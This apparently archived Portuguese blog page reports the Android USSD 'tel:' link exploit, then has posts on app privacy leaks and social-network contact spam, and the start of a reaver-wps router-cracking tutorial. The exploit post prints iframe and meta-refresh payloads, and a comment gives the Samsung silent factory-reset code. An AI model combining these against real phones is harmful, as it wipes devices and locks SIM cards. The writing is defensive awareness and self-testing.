Divulgado perigoso exploit para aparelhos Android

Qualquer aparelho que não esteja rodando pelo menos a versão Jelly Bean pode estar vulnerável. O estrago depende do modelo do aparelho, sendo que a falha mais grave foi apontada em alguns aparelhos Samsung, onde o exploit consegue formatar o aparelho e inutilizar o cartão SIM sem que o usuário possa fazer nada.

O exploit consiste em enviar um URL malicioso para o aparelho da vítima. Pode ser o resultado de uma busca no google, um email, um SMS, um QR code, etc. Qualquer forma de exibir um URL para o usuário funciona. Se o usuário clicar no URL e o aparelho for vulnerável, acabou-se.

O URL vem com um código USSD, desses que a gente usa para acessar opções avançadas do telefone e funciona discando algo como *#66445#*.  O problema é que alguns desses códigos podem ferrar com o telefone e são “discados” sem qualquer pergunta nos telefones vulneráveis.

Você pode testar se seu telefone é vulnerável visitando esta página com ele. O autor do blog, Dylan Reeve, demonstra o problema usando um código USSD inócuo, que só mostra o IMEI do telefone na tela. Eu testei com meu xing-ling Android, Hero H200, e imediatamente ao visitar a página abriu-se o discador e uma janela na frente dele com os dois IMEI do meu telefone. Nenhuma confirmação foi pedida.

Depois testei no meu Motorola Quench com ROM CyanogenMod. Aconteceu a mesma coisa (mas só exibiu um IMEI, claro).

A implementação é simples, ao alcance de qualquer “ráquer” wannabe. Bastou colocar isso na página:

<iframe src="tel:*%2306%23" />

Edit: Se você estiver usando o Opera Mobile não acontece nada, porque o Opera não suporta iframe. Porém existe pelo menos um outro modo de “empurrar” o URL. Basta colocar isso na página:

<meta http-equiv=”REFRESH” content=”0;url=tel:*%2306%23″></HEAD>

Eu testei com o Opera Mobile 12, que acabei de baixar via Google Play, e o exploit funcionou. Eu criei uma página de teste em http://ryan.com.br/ussd.htm que você pode usar para testar o seu aparelho. O código que usei é o que exibe o IMEI, mas se você não estiver seguro, basta usar o browser do seu PC e olhar o código-fonte.

Eu não sei se meus aparelhos possuem códigos USSD “perigosos”. Mas na dúvida é melhor seguir as recomendações dadas por Dylan Reeve nesta página até que a poeira baixe e conheçamos o real potencial do problema.

A não ser que você seja dono de um dos modelos Samsung citados, claro. Neles o perigo é real e imediato.

Você também pode testar se sua app leitora de QR Codes é segura, lendo este código:

Trata-se do mesmo USSD que exibe o IMEI. A app que tenho instalada agora no Quench, QR Barcode Scanner versão 1.4 de 01/12/2011, mostra que é um número de telefone e qual é, me dando a oportunidade de discá-lo ou não. Já é suficientemente seguro para mim, mas eu espero que versões mais recentes, cientes do exploit, exibam um alerta bem grande quando se tratar de um USSD.

A propósito, se você precisa gerar seus próprios códigos pode usar o QR Code generator.

Edit: no momento, a melhor maneira de se proteger é usar o auto-reset blocker. Apesar do nome, o programa ajuda a te proteger de qualquer código USSD malicioso, vindo por qualquer vetor. Ele se instala como um discador e quando o sistema processar um link de telefone, irá abrir uma janela perguntando que discador usar. Escolha o auto-reset blocker. O programa então exibirá qual o número que vai ser discado, dando sua opinião sobre o mesmo (se é seguro ou não), mas deixará por sua conta se vai aceitar ou não a discagem.

 

Se você aceitar, ele joga o número para o discador padrão do telefone.

Edit2 (obrigado, Saulo): Telstop faz a mesma coisa, mas não instala no meu android xing-ling. Pelo menos não pelos caminhos oficiais (google Play).

Update – 27/09: Como o exploit mata cartões SIM

O hacker indiano que divulgou o problema, Ravi Borgaonkar,  falou sobre isso antes mesmo de comentar sobre o problema da Samsung, mas se ele explicou os detalhes, eu não consegui entender no áudio da apresentação. Eu estava achando muito estranho que nas últimas 24h todo mundo estivesse falando exclusivamente sobre o problema da Samsung, como se a parte sobre matar chips fosse tão complicada que seria altamente improvável ocorrer. Mas segundo se lê agora na h-online e na infoworld, o ataque é igualmente simples mas muito mais abrangente. Existe um código USSD, aparentemente universal, que é usado para mudar o PIN do chip. Para isso é necessário fornecer o PUK.

  • Basta fazer isso uma vez com o PUK errado para travar o chip do usuário e este ter que correr atrás do seu cartão PUK para desbloquear;
  • Uma página que consiga fazer dez tentativas em sequência inutilizará o chip do usuário definitivamente.

Vejam o vídeo da apresentação de Ravi Borgaonkar:

VN:R_U [1.9.13_1145]
Rating: 5.0/5 (1 vote cast)
23 comentários
  • Esse exploit até que tem potencial como ferramenta de suporte, como demonstrado no exemplo de Dylan Reeve. Se você quiser ensinar o usuário a conhecer e anotar o IMEI do seu telefone, basta passar um link. A mesma coisa para acessar outras funções “benignas”.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • VR5

    Que bom que voltaste a “ativa”, Jefferson! Espero que continues assim! :yahoo:

    Estou curioso quanto ao lançamento do Windows 8 e, consequentemente, a versão Windows Phone 8… vamos ver como vai ser…  

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Sony Santos

    Meu Motorola Defy, Android 2.2, é vulnerável. :(

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Sony Santos

    Jefferson, obrigado por compartilhar essa informação. Instalei o TelStop e funcionou: é um aplicativo super-leve (9K) que, concorrente com o discador padrão, abre uma janela para você escolher um aplicativo em caso de discagem automática (discador padrão ou TelStop). Se você tinha real intenção de discar, então escolha o discador; se apareceu sem você pedir, basta escolher TelStop. Recomendo.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Isso ajuda bastante, mas não é a solução apropriada. Se você estiver clicando em um link ciente que é para um número de telefone, mas que na verdade tem um USSD, você vai escolher o discador padrão.

      E se o usuário tiver um perfil que o leva a clicar em links desse tipo com frequência, vai acabar acostumado a escolher o discador padrão automaticamente, sem nem pensar. O mesmo problema que ocorre com o UAC do Windows Vista/Seven.

      A solução correta, que eu espero encontrar, é que se o número for um USSD (é fácil de reconhecer pelo formato), seja exibida uma mensagem para o usuário mostrando qual é e explicando o risco que ele corre se prosseguir.

      VN:R_U [1.9.13_1145]
      Rating: 5.0/5 (1 vote cast)
      • Saulo Benigno

        Aí é que está.. ver link desse tipo não é comum. O TelStop é bem interessante mesmo, gostei. Clicou em um link no site, custa nada fazer uma checagem enquanto ninguem atualiza com um Fix
        O que acho que vai ser muito e impossível fazerem isso, digo, Google, etc… Talvez só a Samsung mesmo.
        Quem sabe eles atualizem logo o Jelly Bean, pelo menos algo bom vão ganhar nisso.
         
        Ou talvez não, afinal é Android né? :)

        VA:R_U [1.9.13_1145]
        Rating: 0.0/5 (0 votes cast)
        • Aí é que está.. ver link desse tipo não é comum.

          Pelo contrário. É comum sim.

          Você deve estar teimando com a noção de que “link” tem a ver com “internet”. Em sites são incomuns mesmo (podem deixar de ser agora). Mas dê uma olhada agora na parte de messaging do seu telefone e veja quantos SMSs recebidos tem links. No meu, pelo menos a metade tem.

          E a atualização do firmware só é opção para aparelhos que podem ser atualizados.

          VN:R_U [1.9.13_1145]
          Rating: 0.0/5 (0 votes cast)
  • Falha interessante. Testei no Sansung Galaxy 5, usando navegador Dolphin a falha se apresenta, exibindo o IMEI. Já no navegador Opera isso não ocorre. Por que será?

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Provavelmente porque o Opera não dá suporte a URL “tel:”. Mas cuidado: simplesmente usar outro browser não vai te deixar seguro. O exploit tem diversas vias de entrada.

    Edit: Segundo eu li, é porque o Opera não suporta frames. Mas existe outra implementação que usa HTTP-Refresh, que talvez passe pelo Opera.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Acabo de testar a implementação com http-refresh e o exploit assim funciona no Opera também. Atualizei o post com um link para o teste.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Aí entram duas questões:

    Meus celular é vulnerável? O Galaxy 5, sim.
    Existe algum código USSD, pra ele, que faça algum estrago, sem pedir confirmação antes?

    Fato é que o TelSpop não funciona pro meu aparelho.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Existe algum código USSD, pra ele, que faça algum estrago,

      Aí é que está o coração do problema. É impossível saber com certeza.

      Cada fabricante pode implementar seus próprios códigos, que não são divulgados para o público em geral. Alguns, mesmo supostamente inócuos, podem em certos casos criar transtorno para o usuário. Por exemplo, digamos que exista um código USSD para mudar a frequência de operação do telefone, como acontece com o TREO650. O usuário atingido vai ficar com o telefone “fora do ar”, achando até que está com defeito, até que uma pessoa capacitada descubra a razão e reconfigure o telefone.

      E como se essas não fossem incógnitas suficientes, ainda temos outro problema: segundo o artigo na Wikipedia sobre USSD, cada operadora também tem os seus próprios códigos e alguns mecanismos de pagamento também os utilizam! Ou seja: esse exploit tem potencial para custar até mais que o valor do seu telefone!

      Eu não gosto de ser alarmista, mas a coisa tem potencial para ser grave.

       

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Saulo Benigno

    E li que a Samsung informou que já foi corrigido no S3
    http://betanews.com/2012/09/26/samsung-says-remote-wipe-exploit-is-moot-on-galaxy-s-iii-might-still-work-on-others/
     
    SEI!!!!!
     

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Já saiu um app que faz exatamente o que eu queria. Vejam a atualização que fiz no post.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • Saulo Benigno

      Não é a mesma coisa que o TelStop não?

      VA:R_U [1.9.13_1145]
      Rating: 5.0/5 (1 vote cast)
      • Caramba… é!

         

        Eu não sei o que aconteceu. Eu devo ter caído na página de outra app quando li sobre o Telstop, porque eu juro que estava com outra idéia do comportamento da aplicação.

        De qualquer forma, Telstop não é compatível com meu xing-ling. Só com o Quench.

        VN:R_U [1.9.13_1145]
        Rating: 0.0/5 (0 votes cast)
        • Sony Santos

          Ontem de manhã o TelStop não fazia isso, isto é, não fornecia um botão para discar ou não, após avisar se é suspeito. Mandei um email ao autor sugerindo esse comportamento, mas pela rapidez da atualização ele deve ter feito isso em paralelo. No entanto, eu ainda não posso tornar esse app padrão no meu aparelho, porque, para discar, ele chama o discador padrão! Isso mesmo, se eu deixar o telstop padrão, ele entra em loop, chamando o telstop novamente (eu testei)… Hahahahaha. Não sei se o auto-reset blocker faz o mesmo, mas pretendo testá-lo.

          VN:R_U [1.9.13_1145]
          Rating: 5.0/5 (1 vote cast)
          • Sony Santos

            Testei o auto-reset blocker. Mesmo tornado o discador padrão, ele sempre vai perguntar qual discador você quer abrir ao escolher discar. Neste caso eu preferiria que ele automaticamente discasse, ou escolhesse o padrão do aparelho, ou que eu pudesse configurar um discador padrão em suas configurações. De qualquer forma, é um comportamento melhor do que o do telstop.

            VN:R_U [1.9.13_1145]
            Rating: 0.0/5 (0 votes cast)
  • Como disse uma vez o Steve Ballmer, “não existe patch para a estupidez humana”. Já estão fazendo piada sobre a impossibilidade de realmente proteger o telefone contra o código de wipe da Samsung:

     

    Se bem que a Sansung poderia ter evitado isso simplesmente pedindo confirmação antes de apagar o telefone do usuário. Espero que ela tenha feito isso no último update do firmware, senão o que vemos na imagem acima continuará sendo uma possibilidade.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • A propósito, o código que faz o “factory reset” no Samsung sem perguntar nada é *2767*3855#

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Finalmente apareceram informações mais detalhadas sobre a versão do exploit que mata cartões SIM. Vejam a atualização que fiz no post.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Apenas para que fique registado. Meu Hero H2000G é vulnerável ao exploit.  :( Resolvi instalando o auto-reset blocker que foi o que achei melhor. Ele (o H2000G) roda com o Android 2.2.1.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Bruno

    Saiu uma atualização para galaxy 5 feita pelo psyke83 que desenvolve uma rom para o aparelho no fórum da cyanogem e que corrige esse problema, testei com uma versão anterior e o imei aparecia e agora nessa nova versão ao clicar no link ele informa o código na tela de discagem, mas não o executa automaticamente. Me parece que o problema foi resolvido.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)

Clique aqui para comentar.
OBS: Os links "Responder" não aparecem nesta página, mas aparecerão na próxima.Por favor use-os se estiver respondendo a um comentário.

A coisa tá feia: não dá para confiar nas apps que você instala.

Não adianta você se limitar a instalar no seu smartphone apenas apps populares, já testadas por muita gente e há muito tempo.  A Path parecia ser uma app inocente o bastante, com mais de 24 mil avaliações, até um programador descobrir que a app copiava todo o catálogo de endereços do iPhone para os servidores da Path (detalhes técnicos no blog do programador). E o pior foi a resposta do CEO da Path, dizendo que isso era uma “industry best practice”.

Imagine só o que essas empresas andam fazendo. Ao dar acesso aos seus contatos de e-mail você geralmente só está dando e-mail e nome de todos eles. E isso já é ruim o bastante. Já no smartphone as chances são grandes de que existam além de todos os telefones, e-mail, endereço, aniversário, apelido, empresa onde trabalha e notas diversas sobre cada pessoa.

Ainda que não haja maldade nessa atitude (é ruim…), é preciso lembrar da lambança do QUIPTXT (por sinal, outra app para iPhone). Será que o catálogo de endereços de mais de 24 mil pessoas (e estou falando apenas de quem avaliou a app) está seguro nos servidores da Path? Ou qualquer funcionário da empresa ou hacker meia-boca tinha (o dono da empresa jura que apagou tudo) tem acesso a ele? Quantas estórias não já ouvimos sobre empresas que supostamente sabiam o que estavam fazendo mas deixaram vazar os números de cartão de crédito de todos os seus clientes?

VN:R_U [1.9.13_1145]
Rating: 0.0/5 (0 votes cast)
5 comentários
  • Depois de ler praticamente todos os comentários no blog do programador, fiquei ainda mais preocupado. Primeiro, um dos comentários diz que no iOS todas as apps tem acesso aos contatos e à internet

    The user is not required to give an application permission to access to this information. It is accessible for all apps, the same way accessing the internet is. So that means every app you’ve ever installed is capable of uploading your entire address book to a server without your knowledge or consent.

    Segundo, vários programadores respondem defendendo a Path e sugerindo que não vêem nenhum mal no ocorrido.

    O CEO da Path afirma que isso era feito para que fosse possível avisar ao usuário, por meio de comparação de e-mails, quando os amigos do usuário passassem a usar a app também. Mais ou menos como acontece no Facebook. Mas outros comentários apontam diversos problemas nisso:

    1)Nem todo mundo que está no meu catálogo de endereços é meu “amigo”. Pelo contrário: existem contatos que eu definitivamente quero evitar, passando pelos contatos estritamente comerciais

    2)A Path poderia ter obtido o mesmo resultado fazendo um hash local de cada um dos e-mails do catálogo e enviando para seus servidores apenas o hash. Isso permitiria a comparação mesmo obfuscando os endereços. Porém não resolve “1″.

    3)Para quê mandar o catálogo de endereços completo (nome, telefones, aniversário, notas) se você só precisa dos endereços de e-mail? Nem mesmo o nome da pessoa é necessário. Na verdade, do ponto de vista técnico, é contraproducente, já que uma mesma pessoa, com um mesmo e-mail, pode aparecer com nomes grafados de maneiras inteiramente diferentes em cada catálogo.

     

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Inspirado pela descoberta, outro programador descobriu “falha” semelhante em uma app chamada Hipster.

    E em 2008 outra app fez o mesmo e foi apagada da app store. Segundo palavras do próprio desenvolvedor, quando eles viram que o SDK da Apple permitia que eles fizessem isso ele pensou: “por que não? Vai ser ótimo para os usuários!”

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Intruder A6

    Eles deveriam tomar um processo bem caro na caixa dos peitos de todos os 25 mil usuários do APP para ver como é que é bom, e para nunca mais se meter a besta.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • A julgar pelos comentários no blog do programador, incluindo os de dois supostos advogados, nem é necessário. O que a Path fez já viola leis de privacidade (incluindo leis específicas sobre dados de crianças), da Comunidade Européia e dos Estados Unidos. E como saiu um artigo sobre isso no The New York Times, espera-se que a Path já esteja encrencada.

      E não são apenas 25 mil. Não vi estimativa de downloads no iTunes, mas o número de usuários reais costuma ser bem maior que o de avaliações.

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
  • Felipe

    Até o Dilbert esta comentando sobre os apps “xeretas” http://www.dilbert.com/2012-05-03/

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)

Clique aqui para comentar.
OBS: Os links "Responder" não aparecem nesta página, mas aparecerão na próxima.Por favor use-os se estiver respondendo a um comentário.

SPAM “Social”: Você entrega seus amigos para “o mal”, jurando que está sendo “amigo”.

Eu estou pensando em fazer este texto há anos. Vai no “rascunho” mesmo porque não tenho tempo agora para “polir” isso.

Minha preocupação (e irritação) com isso começou em setembro de 2009, quando recebi uma mensagem do Facebook dizendo que um cara que eu havia conhecido através do meu trabalho com DivX players e que acabou se tornando um amigo me convidava para ser amigo dele na rede social.

Na época, eu nem tinha cadastro no Facebook e nem me interessave em ter. Não sou, nem nunca fui, fã de redes sociais. Eu tinha um perfil no Orkut, que era largamente mais popular no Brasil que o Facebook em 2009, mas só para poder achar (e não perder contato com) velhos colegas de escola, trabalho, etc.

Eu me perguntei por que meu amigo estaria me convidando para o Facebook, mesmo sabendo que eu sou nerd e (por definição) não gosto dessas coisas. A mensagem dizia o seguinte:

Olá xxxxxxxx@xxxxxxx.com,

Criei um perfil no Facebook com minhas fotos, vídeos e eventos e quero adicionar-lhe aos amigos para que você possa ver meu perfil. Primeiro, você precisa cadastrar-se no Facebook! Uma vez cadastrado, você também poderá criar o seu próprio perfil.

Obrigado,
xxxxxxxx

A mensagem foi feita para parecer pessoal, mas ainda soava impessoal para mim. Eu não acreditei que ele tivesse escrito mesmo o texto, apesar de estar “assinado” por ele.

Deixei de lado para pensar no assunto depois.

Mas o Facebook não quis me deixar esquecer. Me lembrou do “convite” novamente em outubro e, quando ele insistiu em novembro, desisti. Fiz o cadastro no Facebook para não decepcionar meu “amigo”.

E foi durante o cadastro que a ficha finalmente caiu quando, no final do processo, o Facebook pediu as minhas senhas do gmail e hotmail para poder convidar meus “amigos”.

Que enorme decepção. O Facebook era um spammer e meu amigo havia dado os meus dados a ele.

Está achando um exagero? Veja bem: até aquele momento eu pensava que o convite tinha sido direto e pessoal. Que meu amigo tinha especificamente me convidado para o Facebook. Descobri que ele havia convidado tudo quanto é gato, cachorro e papagaio no seu catálogo de endereços e que eu não era mais especial nesse sentido do que o SAC do Submarino. O Facebook não tem como saber quem é seu amigo no seu catálogo de endereços e nem quer saber. Ele só quer a valiosa combinação de endereços de e-mail válidos e nomes que pode obter lá. Afinal, de onde vem o lucro do Facebook? A capacidade de “atrair” milhões de pessoas e com isso “atrair” investidores e anunciantes baseado no grande número de usuários é um bom ponto de partida. Não importa para a empresa como foi feita essa “atração”.

Mas a irritação não acabou ai. Mesmo depois de cadastrado no Facebook, continuei recebendo os irritantes “lembretes” da empresa, para a mesma pessoa. O que acontece é que ao me cadastrar eu usei um e-mail especifico e o meu “convite” era para outro e-mail. O único jeito de parar de receber esse convites, sem bloquear possíveis convites legítimos, é dizer ao Facebook que aquele endereço de e-mail também é meu!

Um “prato cheio” para um spammer e “data minner”.

Desde então, eu ignoro todos os convites para redes sociais que recebo, se não tiver sido avisado antes de que ia ser convidado. E olha que não são poucos.

Meus “amigos” parecem felizes em dar meu e-mail para tudo o que é rede social ou serviço obscuro que aparece. Eu tenho uma pasta específica no gmail que rotulei “Spam Social” cheia desses convites e, pior, dos lembretes. Badoo (mando um cascudo todo especial para os “amigos” que formeceram meu e-mail para este), LinkedIn,  Dropbox, Quepasa, UNYK, Orkut, Clickon, Windows Live, Myspace, Sonico…

E tem também os serviços de compra coletiva como o Peixe Urbano. Todo mês eu recebo pelo menos sessenta e-mails do Peixe Urbano, devidamente classificados pelo Gmail automaticamente como SPAM, sem jamais ter me cadastrado na empresa. E por um endereço que eu só dou a amigos. Tudo indica que um ou mais “amigos” me “presentearam” com esses sessenta SPAMs mensais ao dividir seus catálogos de endereços com o Peixe Urbano. E sabe-se lá de quantos outros serviços eu sou vítima de SPAM pela mesma razão.

Outro dia, um cliente mencionou o convite que supostamente eu havia mandado a ele para entrar no Facebook. Espantado, eu disse a ele que deveria haver algum engano, porque não é do meu feitio misturar trabalho com redes sociais e eu não faria isso sem permissão, por considerar o convite algo “intrusivo”*. Ele então procurou nos seus e-mails pelo convite e descobrimos que se tratava de um outro Jefferson, que ele nem conhecia. Aí eu expliquei a ele como essa coisa funcionava e que aquela pessoa que o estava “convidando” possivelmente nem sabia quem ele era também, e o convite havia sido enviado simplesmente porque ele algum momento havia entrado em contato com a empresa do meu cliente e o endereço de e-mail (comercial) do meu cliente estava em seu catálogo de endereços.

Eu fico me perguntando quantas pessoas não acabaram criando perfis no Facebook por causa da pressão “social” de convites de pessoas que nem sabiam que as estavam convidando. Não é à toa que Mark Zuckerberg está bilionário.

*A maioria das pessoas não parece entender o quanto um convite para uma rede social como o Facebook é intrusivo.  Não se trata de apenas “declarar” que conhece a pessoa. Aceitar alguém como “amigo” ou “conhecido” em uma rede social dá a esse “conhecido” uma visão dos seus interesses e relacionamentos que pode ser extremamente incômoda.

VN:R_U [1.9.13_1145]
Rating: 0.0/5 (0 votes cast)
7 comentários
  • Julião

    Isso acontece comigo também, recebo convites de Linkein e outras coisas de gente que troquei emails apenas uma vez na vida.
     

    *A maioria das pessoas não parece entender o quanto um convite para uma rede social como o Facebook é intrusivo.  Não se trata de apenas “declarar” que conhece a pessoa. Aceitar alguém como “amigo” ou “conhecido” em uma rede social dá a esse “conhecido” uma visão dos seus interesses e relacionamentos que pode ser extremamente incômoda.
     

    Certamente é porque a maioria das pessoas costuma fazer as coisas em “modo automático”, sem pensar em nada, como acontecia na época em que eram comuns pragas instaladas via ActiveX e as pessoas confirmavam a instalação na maioria das vezes sem nem saber o que estavam fazendo. No fim as histórias sempre se repetem, só mudam os personagens e objetos.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • Sony Santos

    Concordo com você e com o Julião. Outro dia recebi convite para o “LinkedIn” de uma amiga, em tom pessoal, mas desconfiei e conversei com a pessoa antes de fazer cadastro. Ela me disse que só entrou nesse site UMA vez, e nisso deve ter fornecido sua lista de contatos. Isso é violação de privacidade!!! – da privacidade de terceiros!!! (não só do dono da lista de contatos, mas dos donos dos emails!). É um crime, dependendo do ponto de vista.
    A culpa é do usuário, que forneceu a senha? Não vejo assim. A culpa maior é da “engenharia social” da rede social que, além de pedir uma informação altamente sensível sabidamente “pessoal e intransferível” para dolosamente violar a privacidade alheia, o faz de uma forma a induz o usuário a cair no golpe. Nem todo usuário é esperto ou experiente o suficiente para entender a gravidade do que está fazendo com os seus amigos. Até porque grande parte deles cai em golpes semelhantes quando “clicam aqui” para ver “fotos.exe”; classifico no mesmo tipo de ingenuidade digital.
    Seria muito bom se a senha de acesso só funcionasse com o usuário e só no site da empresa (ex.: gmail), e não a partir de terceiros (ex.: facebook). Não consigo imaginar isso sem captcha, e captcha para cada login pode ser muito irritante para os usuários. Outra ideia é o uso de javascript para acionar certas funcionalidades, uma vez que robôs costumam ignorar js. Se o login só for possível com JS, isso pode dificultar acesso indevido de redes sociais. Porque não adianta o Google dizer nos termos de contrato “não forneça sua senha a ninguém”; é necessário uma proteção adicional própria.
    Aceito outras ideias, porque também desenvolvo sites e não quero que meus usuários caiam em golpes semelhantes.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
    • A culpa é do usuário, que forneceu a senha? Não vejo assim. A culpa maior é da “engenharia social” da rede social

      Apesar da clara má fé na atitude dessas empresas, não dá para passar a mão na cabeça do usuário, do contrário ele não aprende. Eu gostaria que todos os meus “amigos” que cairam nessa tivessem total ciência das implicações do que fizeram e pelo menos me pedissem desculpas e prometessem não fazer de novo, mas não posso dar um cascudo pessoalmente em todos, senão só vão sobrar os amigos nerds e, por força de definição, homens! :lol:

      VN:R_U [1.9.13_1145]
      Rating: 0.0/5 (0 votes cast)
      • Sony Santos

        Tem razão; eles precisam aprender. E do modo como escrevi deu a entender que acho que eles não tem nenhuma culpa; mas não soube me expressar bem. Penso que eles têm, sim, parte da culpa, mas uma culpa bem menor do que a das redes sociais.

        Seu comentário sobre os amigos nerds me fez lembrar de um blog chamado Garotas Geeks. Faz tempo que estou para comentar que sempre que vejo o “GG” no blog delas a primeira coisa que me vem à mente é “Geringonças & Gambiarras”, hehehhehehe. http://garotasgeeks.com/ 

        VN:R_U [1.9.13_1145]
        Rating: 0.0/5 (0 votes cast)
  • Leo

    Você falou na praga do Peixe Urbano mas tem coisa pior: “parceiros” de sites de vendas. Todo dia são uns 15 emails de sites que se dizem “parceiros” de outros, com ofertas duvidosas. E não adianta tentar cancelar o envio, usando o link de cancelamento, pois continuam a enviar spam.

    VA:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • brunoguimaraes

    É verdade, ainda bem que no Yahoo existe a opção de bloqueio de domínio ou remetente, só assim para nunca mais receber esses spams de parceiros e as promoções que eu quero mesmo receber vão direto pra pasta de spam. Só queria saber quem foi o maldito que colheu o meu e-mail e vendeu, sendo que eu uso uma conta no Gmail só para cadastros.
     
    OBS: Jefferson, o pior é na play store do google, que malware lá come solto e sem a Google sequer se mexer, se a pessoa quiser manter informações importantes no celular, acho bom evitar Apps, porque não da pra se ter garantia alguma de segurança, haja visto como é a segurança dos dados no IOS e no Android.

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)
  • O Linkedin está se esmerando na baixeza. Estava me enchendo o saco com “lembretes” de convites que eu ignorei então fui olhar um de perto. Agora eles estão forjando o campo “from” dos e-mails.

    O campo agora tem o nome e endereço de email da pessoa que você conhece, como se ela mesma tivesse mandado. Só dá para perceber que é forjado olhando o código-fonte da mensagem para ver os headers. A mensagem parte dos servidores do Linkedin, mas diz que vem do uol, gmail, hotmail…

    E ainda “assina” as mensagens no nome da pessoa. Exemplos:

     

    Jefferson,

    Eu gostaria de adicioná-lo à minha rede profissional no LinkedIn.
    -Erick

     

     

    Jefferson,

    Eu gostaria de adicioná-lo à minha rede profissional no LinkedIn.
    -Lima 

     

     

    Eu gostaria de adicioná-lo à minha rede profissional no LinkedIn.
    -Suporte

     

    Esta última denuncia a Linkedin. O sistema automatizado simplesmente pega o primeiro nome do cadastro da pessoa/empresa e “assina” com ele.

     

    VN:R_U [1.9.13_1145]
    Rating: 0.0/5 (0 votes cast)

Clique aqui para comentar.
OBS: Os links "Responder" não aparecem nesta página, mas aparecerão na próxima.Por favor use-os se estiver respondendo a um comentário.

Tutorial reaver-wps (Linux) para usuários avançados do Windows

Cuidado: a fonte usada por padrão neste tema do wordpress não diferencia bem a letra “o” do número “0″. Eu tentei contornar isso usando texto pré-formatado onde era mais ambíguo.

“reaver-wps” é o programa Linux que explora a vulnerabilidade dos roteadores Wi-Fi que comecei a comentar neste post.

Este tutorial é destinado a usuários avançados e técnicos do mundo Windows. O tutorial é inteiramente baseado em Linux, mas se você já instalou o Linux alguma vez na vida e prestar atenção não deverá ter problemas. Não uso Linux mas mesmo assim consegui, então você também consegue.

Dicas para uma adaptação mais rápida:

  • Trate tudo no Linux como “case sensitive”. Assim “wget” e “Wget” são duas coisas completamente diferentes;
  • O comando similar ao ipconfig do Windows é “ifconfig”;
  • O prompt de comando chama-se “terminal”;
  • Você pode usar CTRL+C para copiar de um browser ou outro texto e CTRL+SHIFT+V para colar no terminal;
  • Para executar um comando como administrador você precisa antecedê-lo com o comando “sudo”, assim: “sudo reaver”;
  • Para executar um programa que esteja no diretório atual você precisa anteceder seu nome com “./” assim: “./configure”. Do contrário o Linux irá procura o programa no path e ignorar o diretório atual. Isso vale mesmo quando o comando é precedido por “sudo”.

Glossário

  • BSSID: O endereço MAC da interface wireless

Do que você precisa:

Atenção: No mundo Linux não se preza por retrocompatibilidade como no Windows, então use exatamente as versões indicadas para evitar problemas!

  • Uma cópia do Live CD do Kubuntu 11.10 – Eu estou usando o Ubuntu neste tutorial porque aprendi com um tutorial que o usa, mas outras distros (como a Backtrack) poderiam eventualmente ser mais “fáceis”;
  • Um ou mais adaptadores Wi-Fi compatíveis com Linux que possam operar no modo “monitor”. Eu estou usando dois deste aqui;
  • Uma conexão com a internet até o momento da instalação do Reaver.

Instale o Kubuntu no disco rígido (requer conexão com a internet)

Isso não é realmente necessário. Você pode pular essa parte e instalar o reaver-wps enquanto roda o Linux a partir do LiveCD. Mas não conheço modo de fazer isso sem ter que fazer de novo a instalação do reaver-wps toda vez que reiniciar. Eu optei por instalar em um notebook velho com dicos de 80GB e deixei o Ubuntu criar uma partição de 10GB para ele. Ele fez isso sem danificar a instalação do Windows XP que já existia.

Não vou ensinar aqui como se instala o Linux. Um usuário avançado Windows conhece todos os conceitos necessários para compreender o processo. Mas lembre-se de sempre usar o comando ifconfig quando precisar saber se, e como, seus adaptadores de rede foram reconhecidos.

Neste ponto eu preciso fazer um elogio ao instalador do Kubuntu 11.10. É a primeira vez que eu vejo um instalador de SO fazer perguntas de configuração enquanto copia os arquivos.

Instale o reaver-wps (requer conexão com a internet)

A partir deste ponto, lembre-se de que pode se poupar de muita digitação e frustração usando CTRL+C e CTRL+SHIFT+V. Abra esta página no browser da máquina Linux e copie e cole os comandos, adaptando onde necessário.

Só por precaução, dê o seguinte comando para atualizar o banco de dados de repositórios:

sudo apt-get update

Baixe o reaver 1.4 (mude o nome do arquivo para baixar outra versão. Confirme a mais recente aqui):

wget http://reaver-wps.googlecode.com/files/reaver-1.4.tar.gz

Extraia

tar -xzvf reaver-1.4.tar.gz

Instale as dependências e ferramentas

sudo apt-get install libpcap-dev aircrack-ng sqlite3 libsqlite3-dev
sudo apt-get install make (a instalação padrão do Kubuntu não instala o make. Se já tiver instalado, ignore)

Compilar e instalar

cd reaver-1.4
cd src
 ./configure
make 
sudo make install

Usando o reaver-wps

